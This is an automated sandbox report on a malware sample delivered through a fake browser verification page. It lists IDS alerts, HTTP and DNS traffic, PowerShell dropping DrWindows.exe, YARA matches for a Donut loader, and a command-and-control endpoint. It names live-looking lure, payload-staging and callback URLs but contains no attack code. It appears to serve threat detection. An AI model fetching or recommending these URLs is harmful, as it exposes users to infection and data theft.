Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49738 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49739 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49744 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49746 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49747 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49742 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49743 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49745 -> 104.21.80.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /proCESSINGveriffv001.html HTTP/1.1Host: ytfjghloadv1.b-cdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ytfjghloadv1.b-cdn.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ytfjghloadv1.b-cdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.0.0-beta3/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ytfjghloadv1.b-cdn.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /class/initiate/JidW3mE7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: asgbucket.oss-ap-southeast-3.aliyuncs.comConnection: Keep-Alive

Source: DrWindows.exe.12.dr	String found in binary or memory: help-menu.htm\Help\%shelp-%s.chm%shelp-%s.htmhelp-en.chmhelp-en.htmhttps://secure.shareit.com/shareit/checkout.html?PRODUCT[300587021]=2&js=-1http://www.xnview.com/wiki/index.php?title=XnView_%28windows%29_User_Guidehttp://www.facebook.com/#!/pages/XnView/290229474207?v=wall&ref=tshttp://newsgroup.xnview.com/viewforum.php?f=60http://www.xnview.comhttp://twitter.com/xnviewhttp://newsgroup.xnview.comReadMe.txtC:\WhatsNew.txtSubfolderDigitnewMethod\%04d-%02d-%02d\ReversePageXnView ClassicMultiWindowMainCreate() failedIrfanViewWindowMainCreate() failed: %dXmainClass=window%02d%02d%d_%02d%02d%02d-full-ini-fa-fi-hidden-view-all/hidden-filelist-browser-scan-slide/StiDevice:/scan-clipaste/StiEvent:-capture/clipaste.sld/capture-printShcore.dll/print====> %d %d equals www.facebook.com (Facebook)
Source: DrWindows.exe.12.dr	String found in binary or memory: help-menu.htm\Help\%shelp-%s.chm%shelp-%s.htmhelp-en.chmhelp-en.htmhttps://secure.shareit.com/shareit/checkout.html?PRODUCT[300587021]=2&js=-1http://www.xnview.com/wiki/index.php?title=XnView_%28windows%29_User_Guidehttp://www.facebook.com/#!/pages/XnView/290229474207?v=wall&ref=tshttp://newsgroup.xnview.com/viewforum.php?f=60http://www.xnview.comhttp://twitter.com/xnviewhttp://newsgroup.xnview.comReadMe.txtC:\WhatsNew.txtSubfolderDigitnewMethod\%04d-%02d-%02d\ReversePageXnView ClassicMultiWindowMainCreate() failedIrfanViewWindowMainCreate() failed: %dXmainClass=window%02d%02d%d_%02d%02d%02d-full-ini-fa-fi-hidden-view-all/hidden-filelist-browser-scan-slide/StiDevice:/scan-clipaste/StiEvent:-capture/clipaste.sld/capture-printShcore.dll/print====> %d %d equals www.twitter.com (Twitter)
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.facebook.com/#!/pages/XnView/290229474207?v=wall&ref=ts equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ytfjghloadv1.b-cdn.net
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: asgbucket.oss-ap-southeast-3.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: youngsweays.my

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: youngsweays.my

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 11:48:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingServer: BunnyCDN-RI1-892CDN-PullZone: 3060911CDN-Uid: 34352939-c0d2-40e6-a3cd-ba37545e827bCDN-RequestCountryCode: USCache-Control: no-cacheCDN-StorageServer: DE-676CDN-ProxyVer: 1.06CDN-RequestPullSuccess: TrueCDN-RequestPullCode: 404CDN-CachedAt: 12/10/2024 11:48:16CDN-EdgeStorageId: 892CDN-Status: 404CDN-RequestTime: 1CDN-RequestId: 05bf97dfcebbd01b2607be1b63e77c74CDN-Cache: MISS

Source: DrWindows.exe.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: DrWindows.exe.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: DrWindows.exe.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: DrWindows.exe.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: DrWindows.exe, 00000017.00000003.2159011672.000000000084B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microP
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: DrWindows.exe.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: DrWindows.exe.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: DrWindows.exe.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: DrWindows.exe.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: DrWindows.exe.12.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: DrWindows.exe.12.dr	String found in binary or memory: http://newsgroup.xnview.com
Source: DrWindows.exe.12.dr	String found in binary or memory: http://newsgroup.xnview.com/viewforum.php?f=60
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: DrWindows.exe.12.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: DrWindows.exe.12.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: DrWindows.exe.12.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: DrWindows.exe.12.dr	String found in binary or memory: http://tools.wmflabs.org/geohack/geohack.php?language=%s&params=%lf_N_%lf_E_
Source: DrWindows.exe.12.dr	String found in binary or memory: http://tools.wmflabs.org/geohack/geohack.php?language=%s&params=%lf_N_%lf_E_XnViewExport
Source: DrWindows.exe.12.dr	String found in binary or memory: http://twitter.com/xnview
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.cadsofttools.com
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.cadsofttools.comCS_DWG.dllHPGL
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.ghostscript.com.
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.imageshack.us/upload_api.php
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.kolor.com
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.kolor.comFiGHTiNG
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.kolor.comGen0cide
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.luratech.com
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.luratech.comECWCompWIFFFlashPixJPEG-XRJPEG-2000PDFWebPrgbPPM/PGM/PBMSoftimageRGB
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.xnview.com
Source: DrWindows.exe, 00000017.00000003.1867935920.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr	String found in binary or memory: http://www.xnview.com/Producer
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.xnview.com/wiki/index.php?title=XnView_%28windows%29_User_Guide
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.xnview.com/xnview_update.txt
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.xnview.com/xnview_update.txtCannot
Source: DrWindows.exe.12.dr	String found in binary or memory: http://www.xnview.org
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: DrWindows.exe, 00000017.00000003.2038935811.0000000003884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: DrWindows.exe.12.dr	String found in binary or memory: https://api.imgur.com/3/upload.xml
Source: DrWindows.exe.12.dr	String found in binary or memory: https://api.imgur.com/3/upload.xmlhttp://www.imageshack.us/upload_api.phpExpect:
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696582852750.12791&key=1696582852400500
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696582852750.12791&key=1696582852400500002.1&cta
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chromecache_132.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: DrWindows.exe, 00000017.00000003.2067420138.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_129.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_129.1.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2067420138.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CLY1pDY4pbW4CbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: DrWindows.exe.12.dr	String found in binary or memory: https://secure.shareit.com/shareit/checkout.html?PRODUCT
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_31b94b0303af81c500b60b222c3804f084d41b52e86e0f54
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: DrWindows.exe, 00000017.00000003.1950078941.00000000038AF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1953023335.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_132.1.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/api2/logo_48.png
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.2Fdc4MsAZL1e
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.umHoODpuW91L
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: DrWindows.exe, 00000017.00000003.2045231893.000000000394F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: DrWindows.exe.12.dr	String found in binary or memory: https://www.xnview.com/de/xnviewmp/#downloads
Source: DrWindows.exe.12.dr	String found in binary or memory: https://www.xnview.com/en/xnviewmp/#downloads
Source: DrWindows.exe.12.dr	String found in binary or memory: https://www.xnview.com/fr/xnviewmp/#downloads
Source: DrWindows.exe.12.dr	String found in binary or memory: https://www.xnview.com/fr/xnviewmp/#downloadshttps://www.xnview.com/de/xnviewmp/#downloadshttps://ww
Source: DrWindows.exe.12.dr	String found in binary or memory: https://www.xnview.com/update.php?app=0
Source: DrWindows.exe.12.dr	String found in binary or memory: https://www.xnview.com/update.php?app=0&nversion=&os=0&lang=&version=&t=&key=515ba1dce7ddd76c03dfd5b
Source: DrWindows.exe, 00000017.00000003.2105810590.0000000000874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/
Source: DrWindows.exe, 00000017.00000003.2107086532.0000000000861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/8
Source: DrWindows.exe, 00000017.00000002.2163404393.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/K
Source: DrWindows.exe, 00000017.00000003.2035437071.0000000000877000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2159011672.0000000000859000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2162952304.0000000000859000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2032473658.0000000000877000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2006852377.000000000086B000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2147125989.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/api
Source: DrWindows.exe, 00000017.00000003.2146874548.0000000000874000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2163345868.0000000000874000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2105810590.0000000000874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/api2
Source: DrWindows.exe, 00000017.00000003.2159011672.0000000000859000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2162952304.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/apiI
Source: DrWindows.exe, 00000017.00000003.2070536095.0000000000855000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2080143583.000000000085C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/apisl
Source: DrWindows.exe, 00000017.00000002.2160226555.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youngsweays.my/apiw
Source: DrWindows.exe, 00000017.00000003.1958693128.0000000003850000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1957282164.00000000038AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ytfjghloadv1.b-cdn.net/https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlytfjghloadv1.
Source: DrWindows.exe, 00000017.00000003.1957282164.00000000038B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ytfjghloadv1.b-cdn.net/proCES
Source: DrWindows.exe, 00000017.00000003.1958693128.0000000003857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html
Source: DrWindows.exe, 00000017.00000003.1958693128.0000000003832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlVerify

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 47.254.218.16:443 -> 192.168.2.17:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49746 version: TLS 1.2

Source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_c7b3cb6f-c

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7580.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

